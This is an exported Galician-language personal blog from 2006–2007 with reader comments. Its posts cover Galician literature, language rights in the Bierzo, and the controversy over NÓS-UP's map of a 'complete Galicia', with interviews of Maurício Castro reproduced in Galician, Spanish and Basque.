----- -------- AUTHOR: Lugris TITLE: Volver-lhes a palavra BASENAME: volver_lhes_a_palavra DATE: Wed, 24 Jan 2007 16:29:43 +0000 STATUS: publish PRIMARY CATEGORY: Livros CATEGORY: Escrever nom é mau TAGS: ----- BODY:Recentemente, tem-me chegado à minha morada o volume colectivo "Volverlles a palabra", umha coediçom, coordenada por Xoán Carlos Domínguez e Baldo Ramos, da Difusora de Artes Letras e Ideas, da Junta da Galiza e com a colaboraçom da Associaçom Arraianos, no que se recolhem as colaboraçons literárias de 57 autoras/es e gráficas doutras 14 pessoas (entre elas, modestamente, eu próprio, com um pequeno poema inédito, nom publicado ainda em papel nem na rede) que querem, em palavras dos coordenadores, "render umha solidária e comovida homenagem a todas as mulheres e homens que foram repressaliados pola ditadura franquista por pensar e viver livremente num país que começava a nascer".
Entre as pessoas que participam, encabezados por um prólogo de Xesús Alonso Montero, (nom os vou nomear a todos por que som muitos/as), quero citar especialmente, por motivos diversos, ao próprio Baldo Ramos, Maria do Cebreiro, Estíbaliz Espinosa, e Franck Meyer.
Mais a nómina é muito mais ampla:Anxo Angueira, Xurxo Borrazás, Marica Campo, Arturo Casas, Olalla Cociña, Bento da Cruz, Marta Dacosta, Isaac Diaz Pardo, Celso Fernández Sanmartin, Antón Lopo, Chus Pato, Elvira Riveiro Tobio, Martín Veiga, José Viale Moutinho, Miro Villar, etc...
"Tentamos implicar, dim os coordenadores, o maior número para que a devoluçom da palavra fose plural e definitiva. Ao nosso chamado tiverom a bem responder as voces que fam possível este clamor. Que agrome nelas o futuro que a tantos inocentes lles negarom e que na nossa memória se deam por vingados".
Que assim seja.
----- -------- AUTHOR: Lugris TITLE: Cuidado! Vam por ti! BASENAME: cuidado_vam_por_ti DATE: Wed, 24 Jan 2007 10:02:04 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: TAGS: ----- BODY:Neste caso, a categoria dos comentários deveria chamar-se: "Som uns fascistas estes espanhois". Já se ve qual é o verdadeiro talante dos progres!
De qualquer forma, cuidado. Muito olho, e avante!
Entro no meu messenger, e aperece alguem que me envia umha ligaçom para um vídeo de youtube, no que se recolhe um capítulo dumha possível série para a tele, que se poderia chamar "Conta-me como se passou" ou bem "Aqueles marabilhosos anos", ou ainda "Momentos gloriosos do movimento nacional popular".
Entre, e mira a colecçom completa, para saber como eram todos estes com 22 anos menos (e é que, contrariamente ao que di o tango, 20 anos som muito!)
Suso Vaamonde, Milladoiro, Los Ilegales, Radio Océano, Lois Diéguez, Xosé Mª Álvarez Cáccamo, Os Resentidos, Manuel María, Darío Xohán Cabana, Terminal Norte, 39 Escalones, Na Lúa, Xosé Manuel Beiras, Manuel Rivas, Antón Reixa, Xosé Luís Méndez Ferrín, Aerolíneas Federales... Todos juntos e revoltos a dizer cousas que hoje, practicamente todos eles, nom diriam. Por certo: fixai-vos que todos som ELES. Elas, no glorioso movimento nacional popular, deviam estar dedicadas a outras cousas.
Ferrim a reclamar o socialismo real "que existe na URSS, em Cuba, em Ángola", para Galiza; Rádio Oceano a falar contra "um governo de moros, de moros, de moros de mierda que quiere acabar con un pueblo de trabajadores navales; Xosé Manuel Beiras, "rector in pectore" da USC, segum o apresentador, acusando ao governo espanhol do PSOE e a Junta de querer reconvertir a universidade para que apodreza, etc... etc... etc...
Escreve-me o Ramiro (www.tangaranhovermelho.blogspot.com)um correio, a conta deste comentário e estes vídeos, e di-me:
“hehehe…eu estivem aló. Porque o meu pai trabalhava em ASTANO, e de facto, mercé a aquela reconversom naval perdeu o emprego. Todo um espectáculo ver a Xosé Manuel Pereiro chamando “moros de mierda” aos seus hoje praticamente correligionários, passadíssimo, por certo, de algum tipo de substáncia sico-trópica. Dos despojos de Terminal Norte surgiu o sub-produto horteril Limones del Caribe.
Ciao, ciao…”
Pois também há um video dos Limones no youtube: http://youtube.com/watch?v=RXH8C8Tvox8 O seu grande “sucesso” Ferrol. Em duas palavras Spes Tacular
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 24 Jan 2007 09:23:26 +0000 URL:Nom tenho dúvida, Davidú, de que a mudança nom só fai parte da existência humana, mas é mesmo intrínseca ao ser humano. Há 22 anos o país nom era o mesmo, e ninguém de nós era practicamente o mesmo que o que è agora. O destacável destes vídeos nom é constatar o passo do tempo, mas constatar o(s) cámbio(s) políticos e intelectuais de algumhas pessoas. Porque, até onde a mim se me alcanza, por exemplo, a USC segue a ser tam podre como há 22 anos, só que Beiras já nom denuncia isso (e a moreia de catedráticos e profesores vinculados ao Bloco também nom, claro). Este comentário pode-se ler acompanhado do anterior, o referido aos ex-esquerdistas.Saúde!
----- COMMENT: AUTHOR: Dúbida [Visitante] DATE: Wed, 24 Jan 2007 08:45:53 +0000 URL:E que… vinte anos pasan para todo o mundo. Non cres que a mudanza forma para da existencia humana? Tampouco o país era o mesmo…
----- -------- AUTHOR: Lugris TITLE: Da esquerda da esquerda à direita do centro BASENAME: da_esquerda_da_esquerda_a_direita_do_cen DATE: Tue, 23 Jan 2007 18:08:02 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: TAGS: ----- BODY:Ia escrever um comentário sobre aquela velha (e agora já, caduca) "esquerda da esquerda" que nos anos 60 e 70 caminhavam entre nós, ao fio do aniversário dumha velha publicaçom da esquerda esquerdista espanhola, que estivo cheia de personagens que presumiam precisamente disso, de estar à esquerda da esquerda, para terminar, hoje em dia, à direita do centro (quando nom à direita da direita), mas atopei em Rebeliom um muito bom texto de Emir Sader, que recomendo: Guía para ser ex izquierdista
----- -------- AUTHOR: Lugris TITLE: Mofa e Befa no Bierzo BASENAME: mofa_e_beja_no_bierzo DATE: Wed, 17 Jan 2007 14:17:22 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Dentro do programa "Lenguas a escena", que organiza a Escola de Idiomas de Ponferrada, a quarta feira 14 de Fevereiro, às 21'00h,no teatro Bergidum de Ponferrada, poderemos ver a Mofa e Befa com a sua obra "SEMPRE LONXE", con Evaristo Calvo, Victor Mosqueira e Piti Sanz, dirigdos por Kiko Cadaval.
Aqui podedes ver umha pequena parte do espectáculo. Mais que recomendável!
----- -------- AUTHOR: Lugris TITLE: Um País em espanhol BASENAME: um_pais_em_espanhol DATE: Wed, 27 Dec 2006 07:39:33 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: Stop hipocrisia! TAGS: ----- BODY:A estas alturas já as poucas pessoas que lêm algumha vez este blog sabem que El País (o diário independente da manham e dependente de quem todos sabemos), tem umha ediçom galega. Já falarei mais adiante da especial importáncia que tem ver, cá no Bierzo, que o País publica artigos, notícias e reportagens em galego, porque, por se nom o sabedes, a ediçom de El País que se reparte no Bierzo é, por suposto, a ediçom galega!!!
Mas o que mais me chama a atençom dessa ediçom é ver como algumhas pessoas (outras nom), aproveitam a existência dessa ediçom para escrever EM ESPANHOL!!! os seus artigos, textos, comentários... Supostos jornalistas, artistas e intelectuais, está a aproveitar a existência dessas páginas para iniciar a sua viagem cara as letras espanholas.
É é que, parafrasando a Obélix mais umha vez, está tolos estes espanhois!
poderias acrescentar o teu formoso e sábio cometári, nom todos estamos no alho dos caminhos que alguns percorrem
----- -------- AUTHOR: Lugris TITLE: Queres um livro das confusons de balde? BASENAME: queres_um_livro_das_confusons_de_balde DATE: Thu, 21 Dec 2006 16:08:43 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Livros CATEGORY: O Livro das Confusons TAGS: ----- BODY:Nom te confundas, isto nom é um concurso electrónico, isto nom é um calote de internet, isto nom é umha brincadeira virtual. Isto é umha pequena demostraçom de que a cultura (neste caso, modestamente, a literatura) pode nom só circular livremente grazas às novas tecnologías, mas que também pode repartir-se, livre e gratuitamente, boicotando isso que agora se chama indústria editorial e indústria dos direitos do autor, contando com as ?vellas? tecnologías.
Se es umha das (imagino que poucas) pessoas que lêm este blog, que se actualiza dependendo das possibilidades de quem isto escreve, tes a oportunidade de conseguir, completamente de balde, um livro, completamente de poesia. E, por suposto, na nossa língua.
Nos últimos dias, várias pessoas, alguns familiares, alguns/mhas amigas/os, alguns jornalistas, mesmo alguns indivíduos que reunem numha só pessoa todas essas condiçons, ou duas delas (por exemplo, um jornalista e ainda assim amiga/o, ou um/ha familiar, amiga/o e ainda assim também jornalista), têm recebido nas suas casas um exemplar IMPRESO (sim, impreso, quer dizer, em papel, que é umha forma antiga na que se acostumava a reproducir a literatura), do meu já nom inédito ?Livro das confusons?. E é importante o de impreso, porque na rede já há algum tempo que está presente no web do Centro de Documentaçom da Associaçom de Escritoras/es em Língua Galega, junto com outros textos.
Pois se tu nom estás entre esse grupo de pessoas, mas ainda assim queres ter nas tuas maos, nos andeis da tua livraría, um exemplar, em, insisto, papel, essa cousa tam arcaica, pode consegui-lo sendo umha das cinco primeiras pessoas que o solicitem. (Pode que mesmo ainda sendo a sexta ou sétima pessoa podas também receber o livro, mas por riba desse número nom garantizo o seu envio).
E, perguntará a incrédula leitora, o precavido internauta, completamente de balde? Nom terei que pagar depois qualquer cousa? Nom intentará este tipo depois vender-me umha moto, umha enciclopédia ou o castelo de Vila Franca? Pois nom, nom intentarei. Receberás o livro completamente de balde.
O que nom garanto é que che poda parecer interesante, de boa qualidade ou, simplesmente, bom. De facto, nom deve sê-lo, porque com pouca fortuna percorreu concursos e editoras sem conseguir ganhar nada nem ser publicado. Mas como é um ser vivo, independentente, e com ganas de ser livre (como todos os livros), insiste em chegar ao público, ainda que seja numha ediçom singela, mas cuidada, modesta, mas interesante, fotocopiada, mas manual. Sem ISBN, sem depósito legal, sem Copyright, e com Copyleft. Umha pequena curiosidade bibliográfica, sem dúvida, porque a sua ediçom, que consta nada mais que de uns quantos exemplares, nom será, com certeza, repetida.
A possibilidade de construir cultura sem contar com intermediarios é umha realidade: sempre o foi, nunca deixou de sê-lo. E agora, é possível seguir a fazê-lo: sem que entre o autor ou autora se precisem intenrmediarios, editores, impresores, distribuidores, livreiros,... Deixando fora desta relaçom o supostamente imprescindível intercámbio monetário, sem traducir a termos de valor económico o valor estético e práctico que poda ter essa colecçom de poemas agrupados baixo o título de ?O livro das confusons?.
E que tes que fazer? Pois pouca cousa: escrever um correio electrónico ao meu endereço (ilugrisarrobahotmailpontocom), e enviar-me as tuas senhas, nome e endereço postal, para que cho poda enviar. E nada mais? Nom, nada mais. Ainda que depois, seria muito de agradecer que entraras novamente neste blog, e me contaras, livre, e a poder ser nom anónimamente, a tua opiniom, ou opinions, sobre o livro.
Queres? Podes.
A Associaçom Cultural Fala Ceive do Bierzo , denúncia nos dias passados que no proxecto de Estatuto de Castela e Leom, aprovado o 29 de Novembro passado polas Cortes (Parlamento) regionais, nom medrou o reconhecimento jurídico do idioma galgo. Mantem-se em dito proxecto o mesmo texto do ainda em vigor Estatuto de 1999, que estabelece que ?gozará de respeito e protecçom a língua galega nos lugares em que habitualmente se utilice?. Porém, sim que se introduzem novidades no tema lingüístico, ao falar do leonês nos seguintes termos no novo artigo 5.2: ?o leonês será obxecto de protecçom específica por parte das instituiçons polo seu particular valor dentro do património lingüístico da comunidade. A sua protecçom e uso será obxecto de regulaçom?. Fala Ceive chama a atençom sobre este distinto tratamento estatutário das línguas minorizadas presentes na Comunidade Autónoma, e por tanto legal, que di que nom tem nengum sentido nem explicaçom possível.
Fala Ceive pergunta-se porquê motivo o leonês vai ser obxecto dumha regulaçom jurídica específica e a língua galega nom. Para a entidade normalizadora berziana, as e os galego-falantes das Portelas e do Bierzo, regións galegas hoje em dia baixo administraçom castelam e leonesa, também tenhem todo o direito a que se regule legalmente o seu idioma próprio, para que se formalice juridicamente a sua protecçom, uso e promoçom. Nesse sentido, exigem umha protecçom igualitária para as línguas minorizadas no futuro Estatuto de Autonomia de Castela e Leom, advertindo que de nom fazer-se assim estará-se dando umha evidente internvençom política discriminatória para com a língua e a cultura galega por parte das Cortes regionais. Nesse sentido, lembram que o proxecto de Estatuto aprovado, e que ainda tem que passar polo tramite Parlamentário em Madrid, recolhe como obxectivo das políticas publicas, no seu artigo 16.23, ?a nom discriminaçom e o respieito dos distintos colectivos étnicos, culturais e religiosos em Castela e Leom, com especial atençom à comunidade gitana, fomentando o entendemento mútuo e as relaçons interculturais?.
Fala Ceive do Bierzo quer que o proxecto aprovado seja obxecto de reforma no tramite nas Cortes espanholas, e lembram que foi nesse tramite onde se incluiu ao reconhecimento da nossa língua e cultura no ano 1998, pois no proxecto de Lei aprsentado em Madrid tal reconhecimento nom existia. Por tal motivo, Fala Ceive anuncia que realizará diversos contactos com os partidos políticos presentes no Parlamento espanhol e no Senado, nomeadamente PP, PSOE, BNG, IU, ERC e Chunta Aragonesista, para fornecer-lhes de informaçom sobre a realidade e a problemática lingüístico-cultural da Comunidade Autónoma de Castela e Leom, com a intençom e evitar qualquer tipo de discriminaçom, e para recabar apoios para a declaraçom de oficialidade da língua galega no Estatuto de Autonomia, passo prévio e necessário para poder aprovar declaraçons similares noutras instituiçons berzianas, como os concelhos e o Conselho Comarcal.
Diversos meios tenhem recolhido nas últimas semanas a notícia do mapa comarcal da Galiza editado por NÓS-UP... há três anos! Nom está mal: se calhar dentro de três anos, recolhem as iniciativas que NÓS-UP está levando adiante na actualidade (como por exemplo a campanha contra a simbologia fascista).
Primeiro, como saberam as pessoas asíduas deste blogue, a "notícia" apareceu num periódico de Samora, escandalizado porque um mapa da Galiza recolhera entre as suas comarcas a Seabra. Dias depois, a polémica foi recolhida em Astúrias, onde os espanholistas e o asturianismo mais descerebrado sempre caminham de maos dadas à hora de atacar à língua e a cultura galegas do Eu-Návia e Íbias. E um par de semanas mais tarde, é "El Mundo-La Crónica de Leom" quem traslada a polémica ao Bierzo e à Cabreira.
Polo meio, todo tipo de declaraçons e desvários. Desde umhas declaraçons da Conselheira de Educaçom da "Xunta de Galicia", dizendo que o mapa era ilegal (sic), até alcaides asturianos do PP e o PSOE pedindo umha condena do mapa por parte do Parlamento espanhol.
Onte mesmo, "El Mundo-La Crónica de León", na sua ediçom para o Bierzo, recolhia umha interesante entrevista com Maurício Castro, membro da Direcçom Nacional de NÓS-Unidade Popular. Hoje, o web de NÓS-UP e também Primeira Linha em Rede, entre outros meios electrónicos, recolhem, em galego, essa entrevista. O web de NÓS-UP, aclara que "a entrevista, dedicada sobretodo à proposta territorial da esquerda independentista galega, desenvolveu-se integramente em galego, mas foi finalmente publicada em espanhol, na secçom berziana do referido diário".
Eis a entrevista:
Entrevista de El Mundo-La Crónica de León a Maurício Castro
O jornal espanhol El Mundo-La Crónica de Léon publica hoje umha entrevista com Maurício Castro, dirigente de NÓS-Unidade Popular. A entrevista, dedicada sobretodo à proposta territorial da esquerda independentista galega, desenvolveu-se integramente em galego, mas foi finalmente publicada em espanhol, na secçom berziana do referido diário.
O jornal espanhol El Mundo-La Crónica de Léon publica hoje umha entrevista com Maurício Castro, dirigente de NÓS-Unidade Popular. A entrevista, dedicada sobretodo à proposta territorial da esquerda independentista galega, desenvolveu-se integramente em galego, mas foi finalmente publicada em espanhol, na secçom berziana do referido diário. A seguir, reproduzimo-la, tal é como foi publicada, mas na versom em galego-português:
Ponferrada.? NÓS-UP é umha organizaçom nacionalista e independentista galega que defende a integraçom via consulta democrática de municípios asturianos, leoneses e samoranos na Galiza. Criada em 2001 a partir da confluência de diferentes sectores da tradiçom independentista, entende que parte do Berzo é terra galega e pede umha consulta para os seus habitantes opinarem.
P.? Um mapa deu a conhecer NÓS-UP noutras comunidades onde era desconhecida. Qual a origem da cartografia?
R.? Nom é novidade nengumha. Isto parte da existência do movimento em defesa dos direitos nacionais da Galiza no século XIX. Desde o primeiro momento, tem existido umha fórmula de que a Galiza nom se podia restringia às províncias traçadas artificialmente por Javier de Burgos. Um exemplo é o mapa do geógrafo Domingos Fontám, que em 1834 estabeleceu um precedente cartográfico do que é o mapa de hoje e publicado por NÓS-UP. Temos toda umha tradiçom que nos avaliza, da mesma forma que o nosso movimento nacional tem figuras de primeira magnitude, quer literária, quer política, originárias, desde o século XVIII, dessas comarcas. Podemos referir Cotarelo Valedor ou o Padre Sarmento, entre outros.
P.? O mapa transborda os limites actuais da Galiza e interna-se nas Astúrias e Castela e Leom. Pode-se interpretar que NÓS-UP considera os concelhos limítrofes com a Galiza parte dela?
R.? A resposta é que NÓS-UP considera esses concelhos parte da Galiza. O qual nom significa que queiramos impor-lhes um estátus. Ao contrário, pretendemos é que deixe de ser-lhes imposto o estátus jurídico actual. E que, pola primeira vez na história, sejam consultados sobre qual querem que seja esse estátus jurídico-político. Nós temos a nossa proposta particular, mas o fundamental é que sejam os habitantes das comarcas que pola primeira vez podam falar, porque até hoje ninguém lhes perguntou.
P.? Outra das polémicas surgidas com o mapa é que NÓS-UP tencionava reparti-lo nos colégios, nom apenas da Galiza, mas também nas Astúrias e Castela e Leom. Qual é a verdade sobre isto?
R.? O reparto, durant estes anos, foi bastante importante. Um verdadeiro êxito. Efectivamente, tem sido distribuído em centros de ensino de todo o tipo, e nom só na Galiza e nas comarcas de que estamos a falar, mas também um pouco por toda a Europa. Houvo pedidos ali onde havia galegos. Inclusive de umha universidade alemá. E precisamente por um galego originário de umha destas comarcas do exterior. É a primeira proposta que se apresenta de umha Galiza inteira, completa. Porque a expressom maioritária do nosso nacionalismo, o Bloque, numha posiçom possibilista, está a assumir a configuraçom de quatro províncias que nos impom o sistema autonómico actual, que nós rejeitamos.
P.? Há um ano, umha proposta do BNG convidava os concelhos limítrofes com a Galiza à sua integraçom nesta Comunidade. Propom o mesmo NÓS-UP?
R.? Temos a impressom de que o BNG assume a configuraçom actual da Galiza provincial. Quereríamos pensar que nom. Em todo o caso, desconhecemos o modelos programático do Bloque. O modelo que tem para as comarcas exteriores. Sabemos que rechaça a constituiçom de assembleias comarcais nalgumhas dessas comarcas, como é o caso do Berzo, e nós si a temos.
P.? Costumes, cultura, língua? mas perguntárom a vocês próprios o que é que pensam os habitantes dos concelhos limítrofes das Astúrias e Castela e Leom que o nacionalismo galego quer anexar?
R.? Com efeito. Nom só perguntamos isso a nós próprios, como tendo em conta o seu direito a pensar e opinar e inclusive decidir sobre o seu futuro, o que aspiramos é a que o Estado espanhol também faga essa mesma pergunta a si próprio. Em nengum momento se perguntou aos habitantes destas comarcas a que comunidade é que queriam pertencer. Em todo o caso, nós nom queremos anexar. A anexaçom existe na actualidade, porque estas comarcas estám anexadas sem consulta prévia a umhas comunidades com as quais nom partilham elementos de identidade tam fundamentais como a língua. E nom há que esquecer que nom tenhem o galego reconhecido como oficial, sendo maioritário em muitos casos.
P.? Os grupos minoritários e sem representaçom institucional escudam-se no Estado de direito para fazerem ?marketing político? sobre as suas intençons finais?
R.? Nom procuramos campanha nengumha, se for a isso que quer referir-se. Editamos o mapa em 2003 e é em 2006 quando alguns media e o PP, fundamentalmente, som os agentes que ponhem na rua a campanha. Nós nom inventamos esta polémica. O PP chegou a pedir umha condena do Parlamento espanhol, e nós o que fazemos é contestar esses ataques em chave democrática. Defendemos que se pergunte a essas comarcas. A nossa proposta é que sejam parte do mesmo projecto nacional com a Galiza, porque nos parece que som galegas.
P.? Do ponto de vista nacionalista, há algumha formaçom com planos expansionistas?
R.? Nom há umha anexaçom desde o momento que seria umha mudança de estatuto jurídico-político voluntário, decidido democraticamente. Por anexaçom entende-se umha ocupaçom violenta ou forçar umha comarca a se integrar. Nós defendemos é que se dê a voz e que se permita decidir democraticamente os seus habitantes. De todas as formas, a única formaçom com planes expansionistas é o PP. Representa o nacionalismo espanhol, que pretende integrar nas suas fronteiras territórios nacionais com língua e identidade distintas ao resto.
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Também o jornal espanhol de direitas editado nas Astúrias "La Nueva Espanha", dedicou durante vários dias espaço nas suas páginas ao tema do mapa, e também realizou umha entrevista ao Maurício Castro, que também saiu integramente publicada em espanhol:
«Sabemos que la gente del Navia-Eo y de Ibias quiere volver a Galicia»
Si la anexión fuese rechazada en un referéndum, lo acataríamos, pero seguiríamos con nuestro proyecto»
MAURICIO CASTRO PORTAVOZ DEL PARTIDO NACIONALISTA NOS UP, QUE DEFIENDE LA ANEXIÓN DEL NAVIA-EO A GALICIA
Ferrol (Galicia),
R. L. MURIAS
Mauricio Castro es el portavoz del partido nacionalista gallego Nos Unión Popular (Nos UP), que defiende la «recuperación de la verdadera Galicia, la Galicia completa», que, según Castro, está integrada, además de por las cuatro provincias gallegas, por las comarcas de Sanabria en Zamora, el Bierzo, en León, e Ibias y el Navia-Eo, en Asturias.
Nos UP ha difundido un mapa que incluye dentro de Galicia 19 concejos asturianos y que constituye, según Castro, «un estado gallego dentro de los estados europeos». Defensores del lusismo y «socialistas por principio», Nos UP pretende «abrir los ojos a los políticos» con este nuevo mapa, que, según la formación nacionalista, es demandado por más de 180.000 personas que ahora habitan «contra su sentir» fuera de las fronteras de Galicia.
-Explíquese. ¿De dónde sale ese mapa?
-En el siglo XIX se hizo una división del territorio tirando de escuadra y cartabón, sin tener en cuenta las tierras que tenían sentimiento gallego y que histórica y culturalmente siempre estuvieron orientadas a Galicia, como el Bierzo, Ibias o el Navia-Eo. Esa gente tiene un sentimiento común, pero han estado marginados por los políticos de las comunidades autónomas y nadie les ha dado el derecho de regresar a una Galicia como país, que debe constituirse como un estado autónomo dentro de Europa. Queremos y exigimos que el Estado español deje de imponer la escisión del Navia-Eo.
-Ese sentimiento gallego del que habla ¿le consta que existe en los concejos de Asturias cuya anexión defiende y que es el Estado el que mantiene a Galicia incompleta?
-Hay que hacer un referéndum entre la población y romper tabúes, que la gente pueda expresar democráticamente cuál es su sentimiento y sus raíces, ésa es nuestra victoria, el referéndum. Sabemos que existe una gran parte de la población que desea reintegrarse en Galicia y, además, es lo mejor para ellos.
-Pero ¿cómo puede asegurar que gente de Asturias, Zamora y León quiere ser gallega si no ha habido tal referéndum?
-Me baso en la personalidad histórica, las relaciones establecidas a nivel cultural de estas zonas con Galicia y el uso del gallego, porque es una realidad científica y objetiva que en estas zonas se habla gallego y ni siquiera hay un reconocimiento oficial de esta lengua, hay una completa marginalidad desde los centros políticos a estas zonas.
-¿Han contemplado la posibilidad de que ese referéndum no les dé la razón? ¿Acatarían entonces la derrota democráticamente?
-Sí, pero sabemos de sobra que hay gente que pide la reintegración en Galicia. Si la consulta no nos diese la razón, acataríamos el no, pero seguiríamos trabajando por nuestro proyecto de país, que es un proyecto muy beneficioso para estas zonas de Galicia, un proyecto que no debe estar subordinado a la censura.
-En las últimas elecciones no consiguieron representación en el Parlamento gallego. ¿Se plantean presentarse como partido en Asturias, Zamora y León?
-Sabemos que tenemos militantes en estas zonas y forma parte de nuestro proyecto presentar nuestras candidaturas, aunque, por el momento, somos un partido muy joven y si es difícil trabajar en Galicia, en estas comarcas mucho más, pero en cuanto vayamos ganando más apoyos, iremos a por todas.
-A por la «Galicia completa», ¿no?
-Sí, a por un país nuevo, un estado gallego independiente de corte socialista y en lucha contra el patriarcado. Tenemos derecho a la autodeterminación y a decidir el modelo que queremos para el futuro. Si algo tenemos claro es que Galicia, la verdadera Galicia, es mucho más que cuatro provincias.
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E ainda antes, o jornal euskaldun "Berria info" dava conta da polémica criada com o mapa, e recolhia mais umha entrevista ao Maurício (se algum ou algumha das leitoras deste blogue sabe basco, poderá practicar, e já de passo, poderia traduzir para todos nós):
Galizieraren eremuak biltzen dituen mapa salatu dute PSdeGk eta PPk
Nos-UP talde abertzalearen 2003ko mapan, Galiziako probintziak eta beste eremu galizieradunak ere ageri dira
juanma sarasola
Nos-Unidade Popular ezkerreko alderdi independentistak aditu batzuekin 2003an apailatutako mapa polemika pizteko erabili dute aste honetan Galiziako PP Alderdi Popularrak, hari lotutako zenbait hedabidek (El Correo Gallego, kasu) eta PSdeG alderdi sozialistaren esku dagoen Hezkuntza Kontseilaritzak. Hark «legez kanpokotzat» jo du. Mapak galizieraren ia eremu osoa hartzen du: Galiziako lau probintziez gain, baita muga administratibo horietatik at dauden eskualde batzuk ere. Milaka ale zabaldu dituzte urteotan, eta irakasle batzuek historia eta galizieraren hedadura azaltzeko erabili dute. Askori, ordea, ez zaie gustatu, eta orain hura gogor salatzen ari dira, «xede inperialistak» eta «anexionistak» dituela argudiatuta.
«[Mapen] Ale batzuk inpunitate osoz ikusi ahal izan dira Galiziako hainbat ikastetxetan», salatu zuen joan den asteburuan Espainiako La Opinion-El Correo de Zamora-k.
Historialari, geografo eta adituak elkartu, eta gizartean zabaltzeko eta eztabaida pizteko proposamena egin zuen Nos-UPk, 2003an. Galiziako komunitate autonomoko lurraldeez gain, Espainiako hainbat eskualde ere barne hartu dituzte: Asturiasko Navia-Eu eta Vale de Ibias eta Gaztela eta Leongo O Bierzo, Cabreira eta Seabra (Sanabria) eskualdeak agertzen dira. Haatik, Extremadurako Jalama harana ez da ageri. Eskualde haietako aditu eta hizkuntzaren aldeko ekintzaileen laguntza jaso du Nos-UPk mapa egiteko.
ESTATUTU ERREFORMAK. Nos-UPren iritziz, «tradizioz, hizkuntzaz eta kulturaz galiziarrak diren lurraldeen berri emateko» ondu dute mapa, eta helburua anexionista dela ukatu du. Galiziako eta Gaztela eta Leongo instituzio eta hedabideen jarrera «neurriz kanpokotzat» jo du, gainera. Mapan sartutako eskualdeentzat autodeterminazio eskubidea aldarrikatu du.
Joan den apirilean, Galiziako estatutu berria atontzen ari den batzordearekin bildu zen O Bierzoko Fala Ceibe (Libre Hitz Egin edota Hizkuntza Librea) galizieraren aldeko taldea. Gainera, Gaztela eta Leongo administrazioari mintzo zitzaion -hura ere bere Estatutua erreformatzen dabil-. Helburua, Galiziako administrazioaren eta O Bierzo eta beste eskualde horien artean elkarlana finkatzea, galizieraren ofizialtasuna bermatzea eta geroan zein herrialdetan egon nahi duten erabakitzeko eskubidea aitortua izatea.
Eskualde horietan 140.000 biztanle baino gehiagok hitz egiten dute galizieraz.
XUNTARI KRITIKAK. Galizian agintean den koalizioa (PSdeG eta BNG Bloke Nazionalista Galiziarra) lehen Xuntako gobernuan zen PPren jarrera «murriztailea» jarraitzen ari dela salatu du Nos-UPk. Haien esanetan, ez da egia eskualde horiek beti Galizia bezala ezagutzen den lurraldetik at egon direla. «Historian, Galiziaren zati izan dira, batzuk duela mende batzuk arte, baina beste batzuk, esaterako Seabra, 1833 arte [Espainiak probintzia banaketa egin arte]. Beste eremu batzuk lehen ez zeuden Galizian eta egun bai. Badakigu mugetako kontu hori askotan oso apetazkoa izaten dela. Guretzat aterabiderik egokiena jende horri zein administraziotan sartu nahi duen zuzenki galdetzea da».
mauricio castro Nos-Unidade Popular alderdiko prentsa arduradun nazionala
«Estatutu berriaren eztabaida baldintzatzeko piztu dute polemika»
j.m. sarasola
Nos-Unidade Popularreko prentsa arduradun nazionala da Mauricio Castro Lopes.
Mapa 2003. urtean kaleratu bazenuten, zer dela eta sortu da orain polemika?
Polemika Zamorako Seabra eskualdean sortu da, instituzioetatik eta komunikabideetatik. Eta handik Galiziako administraziora egin zuen jauzi. Komunikabideek, batez ere PP Alderdi Popularrari lotutakoek, oihartzuna egin diote auziari, eta testuingurutik atera dute. Areago, Galiziako Hezkuntza Kontseilaritzak legez kanpokotzat jo du mapa, eta Galiziako ikastetxeetan banatzea eragotziko dutela esan du. Hori zentzugabekeria da. Zergatik piztu dute orain polemika? Legebiltzarrean eztabaidatzen ari diren estatutuaren erreforma baldintzatu nahi dutelako.
Nola egiten ari dira hori?
Hara. Nos-UPk proposatu du Galiziako estatutu berrian 1936ko Estatutuak zekarren eta 1982koak [egungoa] baztertu zuen posibilitate bat barne hartzea: Galiziatik kanpo dauden eskualdeak harekin berriz bat egiteko posibilitatea [BNGk ere hasieran hori proposatu zuen]. PSdeGk [alderdi sozialista] ez du horretaz hitz egin nahi eta BNGk [Bloke Nazionalista Galiziarra] ez du argi hitz egiten, eta gainera egunetik egunera Estatuturako bere proposamenaren edukiak murrizten ari da. Haien koalizio gobernuan dauden kontraesanak zirikatzeko aprobetxatzen ari da PP. Horretarako, 2003ko mapa hori hartu eta orain kaleratua dela dio, gezurra esanda.
Zer gertatu da BNGk proposamen hori baztertzeko?
Hori eta beste eduki batzuk Estatutuaren erreformarako lehen eztabaidetan erori ziren. Dagoeneko adostasuna dago BNGren eta PSdeGren artean, publiko egin ez arren. Galiziaren nazio definizioa zintzilik dute oraindik. Aipatutako eskualde horietatik presioa egiten ari zaie bi alderdioi, Galiziako Estatutuan bat egiteko posibilitatea kentzeko, eta Emilio Perez Touriño [PSdeGkoa, Xuntako presidentea] eta Hezkuntza Kontseilaritza ere horren aurka gogor ari dira. Hala, estatutu berrirako negoziazioetan BNGk trukerako gai bezala erabili, eta kontu hori kanpoan utziko duen beldur gara.
Polemikak polemika, zein da zuek apailatu zenuten maparen funtzioa?
Galiziako nazionalismoak historian izan duen gabezietako bat lurraldetasuna ondo zehaztea izan da. 1936 aurretik orain baino argiago zeuden gauzak, harrigarria dirudien arren. 1936ko Estatutuak dio espainiarrek ezarritako Galiziako muga administratiboetatik kanpo lurralde galiziarrak zeudela. BNGk, aldiz, 1982an sortu zenetik, Espainiak ezarritako muga administratibo horien menpe jokatu du. Guk adituek eginiko mapa zabaldu dugu, eta hiru urteotan, hein batean, arrakasta izan du. Nazio lurralde osoa erakusteko lehen proposamen serioa da. Historia eta hizkuntza zehaztasunez irakatsi nahi duenak ezin du Xuntara jo, haren mapek ez baitute lurralde osoa hartzen.
----- COMMENT: AUTHOR: ch3chu [Visitante] DATE: Tue, 28 Nov 2006 22:40:35 +0000 URL: http://www.ebierzo.comPodrías colocar una buena imagen del mapa por aquí. Para verlo con detenimiento.
